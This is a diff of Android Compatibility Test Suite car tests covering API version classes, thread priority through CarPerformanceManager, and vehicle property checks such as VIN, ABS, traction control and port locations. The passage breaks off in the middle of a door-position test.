diff --git a/tests/tests/car/src/android/car/cts/AbstractCarLessTestCase.java b/tests/tests/car/src/android/car/cts/AbstractCarLessTestCase.java
new file mode 100644
index 0000000..3e9632f
--- /dev/null
+++ b/tests/tests/car/src/android/car/cts/AbstractCarLessTestCase.java
@@ -0,0 +1,32 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.car.cts;
+
+import android.car.test.AbstractExpectableTestCase;
+import android.car.test.ApiCheckerRule;
+
+import org.junit.Rule;
+
+/**
+ * Base class for tests that don't need to connect to a {@code android.car.Car} object.
+ *
+ * <p>Typically used to test POJO-like (Plain-Old Java Objects) classes.
+ */
+abstract class AbstractCarLessTestCase extends AbstractExpectableTestCase {
+
+    @Rule
+    public final ApiCheckerRule mApiCheckerRule = new ApiCheckerRule.Builder().build();
+}
diff --git a/tests/tests/car/src/android/car/cts/ApiVersionTest.java b/tests/tests/car/src/android/car/cts/ApiVersionTest.java
new file mode 100644
index 0000000..603ad27
--- /dev/null
+++ b/tests/tests/car/src/android/car/cts/ApiVersionTest.java
@@ -0,0 +1,200 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.car.cts;
+
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import static org.junit.Assert.assertThrows;
+
+import android.car.ApiVersion;
+import android.car.CarVersion;
+import android.car.PlatformVersion;
+
+//TODO(b/236153976): add when supported
+//import com.google.common.testing.EqualsTester;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.Parameterized;
+
+import java.util.Arrays;
+import java.util.Collection;
+
+@RunWith(Parameterized.class)
+public final class ApiVersionTest {
+
+    private final ApiVersionFactory<?> mFactory;
+
+    public ApiVersionTest(ApiVersionFactory<?> factory) {
+        mFactory = factory;
+    }
+
+    @Test
+    public void testGetters() {
+        ApiVersion<?> version = version(42, 108);
+
+        assertWithMessage("%s.getMajorVersion()", version)
+                .that(version.getMajorVersion()).isEqualTo(42);
+        assertWithMessage("%s.getMinorVersion()", version)
+                .that(version.getMinorVersion()).isEqualTo(108);
+    }
+
+    @Test
+    public void testGetters_majorOnlyConstructor() {
+        ApiVersion<?> version = version(42);
+
+        assertWithMessage("%s.getMajorVersion()", version)
+                .that(version.getMajorVersion()).isEqualTo(42);
+        assertWithMessage("%s.getMinorVersion()", version)
+                .that(version.getMinorVersion()).isEqualTo(0);
+    }
+
+    @Test
+    public void testToString() {
+        String string = version(42, 108).toString();
+
+        assertWithMessage("version(42, 108).toString()").that(string).contains("major=42");
+        assertWithMessage("version(42, 108).toString()").that(string).contains("minor=108");
+        assertWithMessage("version(42, 108).toString()").that(string).doesNotContain("name=");
+    }
+
+    @Test
+    public void testAtLeast_null() {
+        assertThrows(NullPointerException.class, () -> version(42, 108).isAtLeast(null));
+    }
+
+    @Test
+    @SuppressWarnings({"rawtypes", "unchecked"})
+    public void testAtLeast_major() {
+        ApiVersion version = version(42, 108);
+
+        assertWithMessage("%s.atLeast(41)", version)
+                .that(version.isAtLeast(version(41))).isTrue();
+        assertWithMessage("%s.atLeast(42)", version)
+                .that(version.isAtLeast(version(42))).isTrue();
+        assertWithMessage("%s.atLeast(43)", version)
+                .that(version.isAtLeast(version(43))).isFalse();
+    }
+
+    @Test
+    @SuppressWarnings({"rawtypes", "unchecked"})
+    public void testAtLeast_majorAndMinor() {
+        ApiVersion version = version(42, 108);
+
+        assertWithMessage("%s.atLeast(41, 109)", version)
+                .that(version.isAtLeast(version(41, 109))).isTrue();
+        assertWithMessage("%s.atLeast(42, 107)", version)
+                .that(version.isAtLeast(version(42, 107))).isTrue();
+        assertWithMessage("%s.atLeast(42, 108)", version)
+                .that(version.isAtLeast(version(42, 108))).isTrue();
+
+        assertWithMessage("%s.atLeast(42, 109)", version)
+                .that(version.isAtLeast(version(42, 109))).isFalse();
+        assertWithMessage("%s.atLeast(43, 0)", version)
+                .that(version.isAtLeast(version(43, 0))).isFalse();
+    }
+
+    // TODO(b/236153976): comment back once guava is supported
+    // (then also add check for different string but same versions)
+//    @Test
+//    public void testEqualsAndHashcode() {
+//        new EqualsTester()
+//                .addEqualityGroup(version(4, 8), version(4, 8))
+//                .addEqualityGroup(version(15), version(15))
+//                .addEqualityGroup(version(16), version(16, 0))
+//                .addEqualityGroup(version(23, 0), version(23))
+//
+//                // Make sure different subclasses are different
+//                .addEqualityGroup(CarApiVersion.forMajorVersion(42),
+//                        CarApiVersion.forMajorVersion(42))
+//                .addEqualityGroup(PlatformApiVersion.forMajorVersion(42),
+//                        PlatformApiVersion.forMajorVersion(42))
+//
+//                .testEquals();
+//    }
+
+    @Test
+    public void testAtLeast_wrongTypes() {
+        @SuppressWarnings("rawtypes")
+        ApiVersion myObject = version(42);
+        @SuppressWarnings("rawtypes")
+        ApiVersion otherObject = mFactory.otherType(42);
+
+        assertThrows(IllegalArgumentException.class, () -> myObject.isAtLeast(otherObject));
+        assertThrows(IllegalArgumentException.class, () -> otherObject.isAtLeast(myObject));
+    }
+
+    private ApiVersion<?> version(int major, int minor) {
+        return mFactory.newApiVersion(major, minor);
+    }
+
+    private ApiVersion<?> version(int major) {
+        return mFactory.newApiVersion(major);
+    }
+
+    @Parameterized.Parameters
+    public static Collection<?> parameters() {
+        return Arrays.asList(
+                new Object[][] {
+                    { new CarApiVersionFactory() },
+                    { new PlatformApiVersionFactory() },
+                });
+    }
+
+    private interface ApiVersionFactory<T extends ApiVersion<T>> {
+        T newApiVersion(int majorVersion, int minorVersion);
+        T newApiVersion(int majorVersion);
+        ApiVersion<?> otherType(int majorVersion);
+    }
+
+    private static final class CarApiVersionFactory implements ApiVersionFactory<CarVersion> {
+
+        @Override
+        public CarVersion newApiVersion(int majorVersion, int minorVersion) {
+            return CarVersion.forMajorAndMinorVersions(majorVersion, minorVersion);
+        }
+
+        @Override
+        public CarVersion newApiVersion(int majorVersion) {
+            return CarVersion.forMajorVersion(majorVersion);
+        }
+
+        @Override
+        public ApiVersion<?> otherType(int majorVersion) {
+            return PlatformVersion.forMajorVersion(majorVersion);
+        }
+    }
+
+    private static final class PlatformApiVersionFactory
+            implements ApiVersionFactory<PlatformVersion> {
+
+        @Override
+        public PlatformVersion newApiVersion(int majorVersion, int minorVersion) {
+            return PlatformVersion.forMajorAndMinorVersions(majorVersion, minorVersion);
+        }
+
+        @Override
+        public PlatformVersion newApiVersion(int majorVersion) {
+            return PlatformVersion.forMajorVersion(majorVersion);
+        }
+
+        @Override
+        public ApiVersion<?> otherType(int majorVersion) {
+            return CarVersion.forMajorVersion(majorVersion);
+        }
+    }
+}
diff --git a/tests/tests/car/src/android/car/cts/CarPerformanceManagerTest.java b/tests/tests/car/src/android/car/cts/CarPerformanceManagerTest.java
new file mode 100644
index 0000000..6a11670
--- /dev/null
+++ b/tests/tests/car/src/android/car/cts/CarPerformanceManagerTest.java
@@ -0,0 +1,167 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.car.cts;
+
+import static android.os.Process.getThreadPriority;
+import static android.os.Process.setThreadPriority;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.app.UiAutomation;
+import android.car.Car;
+import android.car.os.CarPerformanceManager;
+import android.car.os.ThreadPolicyWithPriority;
+import android.car.test.ApiCheckerRule;
+import android.platform.test.annotations.AppModeFull;
+
+import androidx.test.filters.SmallTest;
+import androidx.test.platform.app.InstrumentationRegistry;
+
+import com.android.compatibility.common.util.ApiTest;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+
+@SmallTest
+@AppModeFull(reason = "Instant Apps cannot get car related permissions")
+public class CarPerformanceManagerTest extends CarApiTestBase {
+
+    private UiAutomation mUiAutomation;
+    private CarPerformanceManager mCarPerformanceManager;
+    private ThreadPolicyWithPriority mOriginalPolicyWithPriority;
+
+    // TODO(b/242350638): move to super class (although it would need to call
+    // disableAnnotationsCheck()
+    @Rule
+    public final ApiCheckerRule mApiCheckerRule = new ApiCheckerRule.Builder().build();
+
+    private void setThreadPriorityGotThreadPriorityVerify(ThreadPolicyWithPriority p)
+            throws Exception {
+        mCarPerformanceManager.setThreadPriority(p);
+
+        ThreadPolicyWithPriority gotP = mCarPerformanceManager.getThreadPriority();
+
+        assertThat(gotP.getPolicy()).isEqualTo(p.getPolicy());
+        assertThat(gotP.getPriority()).isEqualTo(p.getPriority());
+    }
+
+    @Before
+    public void setUp() throws Exception {
+        super.setUp();
+        mUiAutomation = InstrumentationRegistry.getInstrumentation().getUiAutomation();
+        mUiAutomation.adoptShellPermissionIdentity(Car.PERMISSION_MANAGE_THREAD_PRIORITY);
+
+        mCarPerformanceManager = (CarPerformanceManager) getCar().getCarManager(
+                Car.CAR_PERFORMANCE_SERVICE);
+        assertThat(mCarPerformanceManager).isNotNull();
+
+        // TODO(b/237015981): it would be cleaner to split this logic into a separate @Before method
+        // which would be annotated with:
+        //   @TestApiRequirements(requiresApi="...", onApiViolation=IGNORE)
+        // But that would require a new rule to wrap the whole test class with
+        // adoptShellPermissionIdentity (otherwise there would be no guarantee that the new method
+        // would be called before the call to adoptShellPermissionIdentity)
+        if (mApiCheckerRule.isApiSupported("android.car.os.CarPerformanceManager#"
+                + "getThreadPriority")) {
+            mOriginalPolicyWithPriority = mCarPerformanceManager.getThreadPriority();
+        }
+    }
+
+    @After
+    public void tearDown() throws Exception {
+        if (mOriginalPolicyWithPriority != null) {
+            mCarPerformanceManager.setThreadPriority(mOriginalPolicyWithPriority);
+        }
+
+        mUiAutomation.dropShellPermissionIdentity();
+    }
+
+    @Test
+    @ApiTest(apis = {
+            "android.car.os.CarPerformanceManager#setThreadPriority(ThreadPolicyWithPriority)",
+            "android.car.os.CarPerformanceManager#getThreadPriority"})
+    public void testSetThreadPriorityDefault() throws Exception {
+        setThreadPriorityGotThreadPriorityVerify(new ThreadPolicyWithPriority(
+                ThreadPolicyWithPriority.SCHED_DEFAULT, /* priority= */ 0));
+    }
+
+    @Test
+    @ApiTest(apis = {
+            "android.car.os.CarPerformanceManager#setThreadPriority(ThreadPolicyWithPriority)",
+            "android.car.os.CarPerformanceManager#getThreadPriority"})
+    public void testSetThreadPriorityFIFOMinPriority() throws Exception {
+        setThreadPriorityGotThreadPriorityVerify(new ThreadPolicyWithPriority(
+                ThreadPolicyWithPriority.SCHED_FIFO,
+                ThreadPolicyWithPriority.PRIORITY_MIN));
+    }
+
+    @Test
+    @ApiTest(apis = {
+            "android.car.os.CarPerformanceManager#setThreadPriority(ThreadPolicyWithPriority)",
+            "android.car.os.CarPerformanceManager#getThreadPriority"})
+    public void testSetThreadPriorityFIFOMaxPriority() throws Exception {
+        setThreadPriorityGotThreadPriorityVerify(new ThreadPolicyWithPriority(
+                ThreadPolicyWithPriority.SCHED_FIFO,
+                ThreadPolicyWithPriority.PRIORITY_MAX));
+    }
+
+    @Test
+    @ApiTest(apis = {
+            "android.car.os.CarPerformanceManager#setThreadPriority(ThreadPolicyWithPriority)",
+            "android.car.os.CarPerformanceManager#getThreadPriority"})
+    public void testSetThreadPriorityRRMinPriority() throws Exception {
+        setThreadPriorityGotThreadPriorityVerify(new ThreadPolicyWithPriority(
+                ThreadPolicyWithPriority.SCHED_RR,
+                ThreadPolicyWithPriority.PRIORITY_MIN));
+    }
+
+    @Test
+    @ApiTest(apis = {
+            "android.car.os.CarPerformanceManager#setThreadPriority(ThreadPolicyWithPriority)",
+            "android.car.os.CarPerformanceManager#getThreadPriority"})
+    public void testSetThreadPriorityRRMaxPriority() throws Exception {
+        setThreadPriorityGotThreadPriorityVerify(new ThreadPolicyWithPriority(
+                ThreadPolicyWithPriority.SCHED_RR,
+                ThreadPolicyWithPriority.PRIORITY_MAX));
+    }
+
+    @Test
+    @ApiTest(apis = {
+            "android.car.os.CarPerformanceManager#setThreadPriority(ThreadPolicyWithPriority)",
+            "android.car.os.CarPerformanceManager#getThreadPriority"})
+    public void testSetThreadPriorityDefaultKeepNiceValue() throws Exception {
+        int expectedNiceValue = 10;
+
+        // Resume the test scheduling policy to default policy.
+        mCarPerformanceManager.setThreadPriority(new ThreadPolicyWithPriority(
+                ThreadPolicyWithPriority.SCHED_DEFAULT, /* priority= */ 0));
+        // Set a nice value for regular scheduling policy.
+        setThreadPriority(expectedNiceValue);
+
+        // Change the scheduling policy.
+        setThreadPriorityGotThreadPriorityVerify(new ThreadPolicyWithPriority(
+                ThreadPolicyWithPriority.SCHED_FIFO,
+                ThreadPolicyWithPriority.PRIORITY_MIN));
+
+        // Change it back, the nice value should be resumed.
+        setThreadPriorityGotThreadPriorityVerify(new ThreadPolicyWithPriority(
+                ThreadPolicyWithPriority.SCHED_DEFAULT, /* priority= */ 0));
+
+        assertThat(getThreadPriority(/* tid= */ 0)).isEqualTo(expectedNiceValue);
+    }
+}
diff --git a/tests/tests/car/src/android/car/cts/CarPropertyManagerTest.java b/tests/tests/car/src/android/car/cts/CarPropertyManagerTest.java
index 0c9bcc5..99e1af0 100644
--- a/tests/tests/car/src/android/car/cts/CarPropertyManagerTest.java
+++ b/tests/tests/car/src/android/car/cts/CarPropertyManagerTest.java
@@ -19,6 +19,7 @@
 import static com.google.common.truth.Truth.assertThat;
 import static com.google.common.truth.Truth.assertWithMessage;
 
+import static org.junit.Assume.assumeTrue;
 import static org.testng.Assert.assertThrows;
 
 import android.app.UiAutomation;
@@ -40,29 +41,34 @@
 import android.car.hardware.property.CarPropertyManager.CarPropertyEventCallback;
 import android.car.hardware.property.VehicleElectronicTollCollectionCardStatus;
 import android.car.hardware.property.VehicleElectronicTollCollectionCardType;
+import android.content.pm.PackageManager;
 import android.platform.test.annotations.AppModeFull;
 import android.platform.test.annotations.RequiresDevice;
+import android.support.v4.content.ContextCompat;
 import android.test.suitebuilder.annotation.SmallTest;
 import android.util.ArraySet;
 import android.util.SparseArray;
 
 import androidx.annotation.GuardedBy;
-import androidx.test.InstrumentationRegistry;
+import androidx.test.platform.app.InstrumentationRegistry;
 import androidx.test.runner.AndroidJUnit4;
 
+import com.android.compatibility.common.util.ApiTest;
 import com.android.compatibility.common.util.CddTest;
 
 import com.google.common.collect.ImmutableSet;
+import com.google.common.collect.Sets;
 
 import org.junit.Assert;
-import org.junit.Assume;
 import org.junit.Before;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
+import java.util.Arrays;
 import java.util.List;
 import java.util.concurrent.CountDownLatch;
 import java.util.concurrent.TimeUnit;
+import java.util.stream.Collectors;
 
 @SmallTest
 @RequiresDevice
@@ -104,10 +110,47 @@
     private static final ImmutableSet<Integer> SPEED_DISPLAY_UNITS =
             ImmutableSet.<Integer>builder().add(VehicleUnit.METER_PER_SEC,
                     VehicleUnit.MILES_PER_HOUR, VehicleUnit.KILOMETERS_PER_HOUR).build();
+    private static final ImmutableSet<Integer> TURN_SIGNAL_STATES =
+            ImmutableSet.<Integer>builder().add(/*TurnSignalState.NONE=*/0,
+                    /*TurnSignalState.RIGHT=*/1, /*TurnSignalState.LEFT=*/2).build();
+    private static final ImmutableSet<Integer> VEHICLE_LIGHT_STATES =
+            ImmutableSet.<Integer>builder().add(/*VehicleLightState.OFF=*/0,
+                    /*VehicleLightState.ON=*/1, /*VehicleLightState.DAYTIME_RUNNING=*/2).build();
+    private static final ImmutableSet<Integer> VEHICLE_LIGHT_SWITCHES =
+            ImmutableSet.<Integer>builder().add(/*VehicleLightSwitch.OFF=*/0,
+                    /*VehicleLightSwitch.ON=*/1, /*VehicleLightSwitch.DAYTIME_RUNNING=*/2,
+                    /*VehicleLightSwitch.AUTOMATIC=*/256).build();
+    private static final ImmutableSet<Integer> HVAC_TEMPERATURE_DISPLAY_UNITS =
+            ImmutableSet.<Integer>builder().add(VehicleUnit.CELSIUS,
+                    VehicleUnit.FAHRENHEIT).build();
+    private static final ImmutableSet<Integer> SINGLE_HVAC_FAN_DIRECTIONS = ImmutableSet.of(
+            /*VehicleHvacFanDirection.FACE=*/0x1, /*VehicleHvacFanDirection.FLOOR=*/0x2,
+            /*VehicleHvacFanDirection.DEFROST=*/0x4);
+    private static final ImmutableSet<Integer> ALL_POSSIBLE_HVAC_FAN_DIRECTIONS =
+            generateAllPossibleHvacFanDirections();
+    private static final ImmutableSet<Integer> VEHICLE_SEAT_OCCUPANCY_STATES = ImmutableSet.of(
+            /*VehicleSeatOccupancyState.UNKNOWN=*/0, /*VehicleSeatOccupancyState.VACANT=*/1,
+            /*VehicleSeatOccupancyState.OCCUPIED=*/2);
+
     /** contains property Ids for the properties required by CDD */
     private final ArraySet<Integer> mPropertyIds = new ArraySet<>();
     private CarPropertyManager mCarPropertyManager;
 
+    private static ImmutableSet<Integer> generateAllPossibleHvacFanDirections() {
+        ImmutableSet.Builder<Integer> allPossibleFanDirectionsBuilder = ImmutableSet.builder();
+        for (int i = 1; i <= SINGLE_HVAC_FAN_DIRECTIONS.size(); i++) {
+            allPossibleFanDirectionsBuilder.addAll(Sets.combinations(SINGLE_HVAC_FAN_DIRECTIONS,
+                    i).stream().map(hvacFanDirectionCombo -> {
+                Integer possibleHvacFanDirection = 0;
+                for (Integer hvacFanDirection : hvacFanDirectionCombo) {
+                    possibleHvacFanDirection |= hvacFanDirection;
+                }
+                return possibleHvacFanDirection;
+            }).collect(Collectors.toList()));
+        }
+        return allPossibleFanDirectionsBuilder.build();
+    }
+
     private static void verifyWheelTickConfigArray(int supportedWheels, int wheelToVerify,
             int configArrayIndex, int wheelTicksToUm) {
         if ((supportedWheels & wheelToVerify) != 0) {
@@ -154,6 +197,20 @@
         }
     }
 
+    private static void adoptSystemLevelPermission(String permission, Runnable verifierRunnable) {
+        UiAutomation uiAutomation = InstrumentationRegistry.getInstrumentation().getUiAutomation();
+        uiAutomation.adoptShellPermissionIdentity(permission);
+        try {
+            assumeTrue("Unable to adopt Car Shell permission: " + permission,
+                    ContextCompat.checkSelfPermission(
+                            InstrumentationRegistry.getInstrumentation().getTargetContext(),
+                            permission) == PackageManager.PERMISSION_GRANTED);
+            verifierRunnable.run();
+        } finally {
+            uiAutomation.dropShellPermissionIdentity();
+        }
+    }
+
     @Before
     public void setUp() throws Exception {
         super.setUp();
@@ -332,6 +389,29 @@
     }
 
     @Test
+    @ApiTest(apis = {"android.car.hardware.property.CarPropertyManager#getCarPropertyConfig",
+            "android.car.hardware.property.CarPropertyManager#getProperty",
+            "android.car.hardware.property.CarPropertyManager#registerCallback",
+            "android.car.hardware.property.CarPropertyManager#unregisterCallback"})
+    public void testInfoVinIfSupported() {
+        adoptSystemLevelPermission(Car.PERMISSION_IDENTIFICATION, () -> {
+            VehiclePropertyVerifier.newBuilder(VehiclePropertyIds.INFO_VIN,
+                    CarPropertyConfig.VEHICLE_PROPERTY_ACCESS_READ,
+                    VehicleAreaType.VEHICLE_AREA_TYPE_GLOBAL,
+                    CarPropertyConfig.VEHICLE_PROPERTY_CHANGE_MODE_STATIC,
+                    String.class).setCarPropertyValueVerifier(
+                        (carPropertyConfig, carPropertyValue) -> assertWithMessage(
+                            "INFO_VIN must be 17 characters").that(
+                                (String) carPropertyValue.getValue()).hasLength(17))
+                    .build().verify(mCarPropertyManager);
+        });
+    }
+
+    @Test
+    @ApiTest(apis = {"android.car.hardware.property.CarPropertyManager#getCarPropertyConfig",
+            "android.car.hardware.property.CarPropertyManager#getProperty",
+            "android.car.hardware.property.CarPropertyManager#registerCallback",
+            "android.car.hardware.property.CarPropertyManager#unregisterCallback"})
     public void testInfoMakeIfSupported() {
         VehiclePropertyVerifier.newBuilder(VehiclePropertyIds.INFO_MAKE,
                 CarPropertyConfig.VEHICLE_PROPERTY_ACCESS_READ,
@@ -443,14 +523,8 @@
                 CarPropertyConfig.VEHICLE_PROPERTY_ACCESS_READ,
                 VehicleAreaType.VEHICLE_AREA_TYPE_GLOBAL,
                 CarPropertyConfig.VEHICLE_PROPERTY_CHANGE_MODE_STATIC,
-                Integer.class).setCarPropertyValueVerifier(
-                (carPropertyConfig, carPropertyValue) -> {
-                    Integer fuelDoorLocation = (Integer) carPropertyValue.getValue();
-                    assertWithMessage(
-                            "INFO_FUEL_DOOR_LOCATION must be a defined port location: "
-                                    + fuelDoorLocation).that(
-                            fuelDoorLocation).isIn(PORT_LOCATION_TYPES);
-                }).build().verify(mCarPropertyManager);
+                Integer.class).setPossibleCarPropertyValues(PORT_LOCATION_TYPES).build()
+                .verify(mCarPropertyManager);
     }
 
     @Test
@@ -459,14 +533,8 @@
                 CarPropertyConfig.VEHICLE_PROPERTY_ACCESS_READ,
                 VehicleAreaType.VEHICLE_AREA_TYPE_GLOBAL,
                 CarPropertyConfig.VEHICLE_PROPERTY_CHANGE_MODE_STATIC,
-                Integer.class).setCarPropertyValueVerifier(
-                (carPropertyConfig, carPropertyValue) -> {
-                    Integer evPortLocation = (Integer) carPropertyValue.getValue();
-                    assertWithMessage(
-                            "INFO_EV_PORT_LOCATION must be a defined port location: "
-                                    + evPortLocation).that(
-                            evPortLocation).isIn(PORT_LOCATION_TYPES);
-                }).build().verify(mCarPropertyManager);
+                Integer.class).setPossibleCarPropertyValues(PORT_LOCATION_TYPES).build()
+                .verify(mCarPropertyManager);
     }
 
     @Test
@@ -496,21 +564,16 @@
                 CarPropertyConfig.VEHICLE_PROPERTY_ACCESS_READ,
                 VehicleAreaType.VEHICLE_AREA_TYPE_SEAT,
                 CarPropertyConfig.VEHICLE_PROPERTY_CHANGE_MODE_STATIC,
-                Integer.class).setCarPropertyValueVerifier(
-                (carPropertyConfig, carPropertyValue) -> {
-                    Integer driverSeat = (Integer) carPropertyValue.getValue();
-                    assertWithMessage("INFO_DRIVER_SEAT must be a defined front seat location: "
-                            + driverSeat).that(driverSeat).isIn(
-                            ImmutableSet.builder().add(VehicleAreaSeat.SEAT_UNKNOWN,
-                                    VehicleAreaSeat.SEAT_ROW_1_LEFT,
-                                    VehicleAreaSeat.SEAT_ROW_1_CENTER,
-                                    VehicleAreaSeat.SEAT_ROW_1_RIGHT).build());
-                }).setAreaIdsVerifier(areaIds -> assertWithMessage(
+                Integer.class).setPossibleCarPropertyValues(ImmutableSet.of(
+                        VehicleAreaSeat.SEAT_UNKNOWN,
+                        VehicleAreaSeat.SEAT_ROW_1_LEFT,
+                        VehicleAreaSeat.SEAT_ROW_1_CENTER,
+                        VehicleAreaSeat.SEAT_ROW_1_RIGHT))
+                .setAreaIdsVerifier(areaIds -> assertWithMessage(
                 "Even though INFO_DRIVER_SEAT is VEHICLE_AREA_TYPE_SEAT, it is meant to be "
                         + "VEHICLE_AREA_TYPE_GLOBAL, so its AreaIds must contain a single 0").that(
-                areaIds).isEqualTo(
-                new int[]{VehicleAreaType.VEHICLE_AREA_TYPE_GLOBAL})).build().verify(
-                mCarPropertyManager);
+                areaIds).isEqualTo(new int[]{VehicleAreaType.VEHICLE_AREA_TYPE_GLOBAL}))
+                .build().verify(mCarPropertyManager);
     }
 
     @Test
@@ -540,20 +603,11 @@
                 CarPropertyConfig.VEHICLE_PROPERTY_ACCESS_READ,
                 VehicleAreaType.VEHICLE_AREA_TYPE_GLOBAL,
                 CarPropertyConfig.VEHICLE_PROPERTY_CHANGE_MODE_ONCHANGE,
-                Integer.class).setCarPropertyValueVerifier(
-                (carPropertyConfig, carPropertyValue) -> {
-                    Integer electronicTollCollectionCardType =
-                            (Integer) carPropertyValue.getValue();
-                    assertWithMessage(
-                            "ELECTRONIC_TOLL_COLLECTION_CARD_TYPE value must be a valid "
-                                    + "VehicleElectronicTollCollectionCardType").that(
-                            electronicTollCollectionCardType).isIn(ImmutableSet.builder().add(
-                            VehicleElectronicTollCollectionCardType.UNKNOWN,
-                            VehicleElectronicTollCollectionCardType.
-                                    JP_ELECTRONIC_TOLL_COLLECTION_CARD,
-                            VehicleElectronicTollCollectionCardType.
-                                    JP_ELECTRONIC_TOLL_COLLECTION_CARD_V2).build());
-                }).build().verify(mCarPropertyManager);
+                Integer.class).setPossibleCarPropertyValues(ImmutableSet.of(
+                    VehicleElectronicTollCollectionCardType.UNKNOWN,
+                    VehicleElectronicTollCollectionCardType.JP_ELECTRONIC_TOLL_COLLECTION_CARD,
+                    VehicleElectronicTollCollectionCardType.JP_ELECTRONIC_TOLL_COLLECTION_CARD_V2)
+        ).build().verify(mCarPropertyManager);
     }
 
     @Test
@@ -563,22 +617,15 @@
                 CarPropertyConfig.VEHICLE_PROPERTY_ACCESS_READ,
                 VehicleAreaType.VEHICLE_AREA_TYPE_GLOBAL,
                 CarPropertyConfig.VEHICLE_PROPERTY_CHANGE_MODE_ONCHANGE,
-                Integer.class).setCarPropertyValueVerifier(
-                (carPropertyConfig, carPropertyValue) -> {
-                    Integer electronicTollCollectionCardStatus =
-                            (Integer) carPropertyValue.getValue();
-                    assertWithMessage(
-                            "ELECTRONIC_TOLL_COLLECTION_CARD_STATUS value must be a valid "
-                                    + "VehicleElectronicTollCollectionCardStatus").that(
-                            electronicTollCollectionCardStatus).isIn(ImmutableSet.builder().add(
-                            VehicleElectronicTollCollectionCardStatus.UNKNOWN,
-                            VehicleElectronicTollCollectionCardStatus.
-                                    ELECTRONIC_TOLL_COLLECTION_CARD_VALID,
-                            VehicleElectronicTollCollectionCardStatus.
-                                    ELECTRONIC_TOLL_COLLECTION_CARD_INVALID,
-                            VehicleElectronicTollCollectionCardStatus.
-                                    ELECTRONIC_TOLL_COLLECTION_CARD_NOT_INSERTED).build());
-                }).build().verify(mCarPropertyManager);
+                Integer.class).setPossibleCarPropertyValues(ImmutableSet.of(
+                        VehicleElectronicTollCollectionCardStatus.UNKNOWN,
+                        VehicleElectronicTollCollectionCardStatus
+                                .ELECTRONIC_TOLL_COLLECTION_CARD_VALID,
+                        VehicleElectronicTollCollectionCardStatus
+                                .ELECTRONIC_TOLL_COLLECTION_CARD_INVALID,
+                        VehicleElectronicTollCollectionCardStatus
+                                .ELECTRONIC_TOLL_COLLECTION_CARD_NOT_INSERTED)
+        ).build().verify(mCarPropertyManager);
     }
 
     @Test
@@ -616,82 +663,381 @@
                 CarPropertyConfig.VEHICLE_PROPERTY_ACCESS_READ,
                 VehicleAreaType.VEHICLE_AREA_TYPE_GLOBAL,
                 CarPropertyConfig.VEHICLE_PROPERTY_CHANGE_MODE_ONCHANGE,
-                Integer.class).setCarPropertyValueVerifier(
-                (carPropertyConfig, carPropertyValue) -> {
-                    Integer ignitionState = (Integer) carPropertyValue.getValue();
-                    assertWithMessage(
-                            "IGNITION_STATE must be a defined ignition state: "
-                                    + ignitionState).that(
-                            ignitionState).isIn(ImmutableSet.of(VehicleIgnitionState.UNDEFINED,
-                            VehicleIgnitionState.LOCK, VehicleIgnitionState.OFF,
-                            VehicleIgnitionState.ACC, VehicleIgnitionState.ON,
-                            VehicleIgnitionState.START));
-                }).build().verify(mCarPropertyManager);
+                Integer.class).setPossibleCarPropertyValues(ImmutableSet.of(
+                        VehicleIgnitionState.UNDEFINED, VehicleIgnitionState.LOCK,
+                        VehicleIgnitionState.OFF, VehicleIgnitionState.ACC, VehicleIgnitionState.ON,
+                VehicleIgnitionState.START)).build().verify(mCarPropertyManager);
+    }
+
+    @Test
+    public void testAbsActiveIfSupported() {
+        adoptSystemLevelPermission(/* Car.PERMISSION_CAR_DYNAMICS_STATE = */
+                "android.car.permission.CAR_DYNAMICS_STATE", () -> {
+                    VehiclePropertyVerifier.newBuilder(VehiclePropertyIds.ABS_ACTIVE,
+                            CarPropertyConfig.VEHICLE_PROPERTY_ACCESS_READ,
+                            VehicleAreaType.VEHICLE_AREA_TYPE_GLOBAL,
+                            CarPropertyConfig.VEHICLE_PROPERTY_CHANGE_MODE_ONCHANGE,
+                            Boolean.class).build().verify(mCarPropertyManager);
+                });
+    }
+
+    @Test
+    public void testTractionControlActiveIfSupported() {
+        adoptSystemLevelPermission(/* Car.PERMISSION_CAR_DYNAMICS_STATE = */
+                "android.car.permission.CAR_DYNAMICS_STATE", () -> {
+                    VehiclePropertyVerifier.newBuilder(VehiclePropertyIds.TRACTION_CONTROL_ACTIVE,
+                            CarPropertyConfig.VEHICLE_PROPERTY_ACCESS_READ,
+                            VehicleAreaType.VEHICLE_AREA_TYPE_GLOBAL,
+                            CarPropertyConfig.VEHICLE_PROPERTY_CHANGE_MODE_ONCHANGE,
+                            Boolean.class).build().verify(mCarPropertyManager);
+                });
+    }
+
+    @Test
+    public void testDoorPosIfSupported() {
+        adoptSystemLevelPermission(/* Car.PERMISSION_CONTROL_CAR_DOORS = */
+                "android.car.permission.CONTROL_CAR_DOORS", () -> {
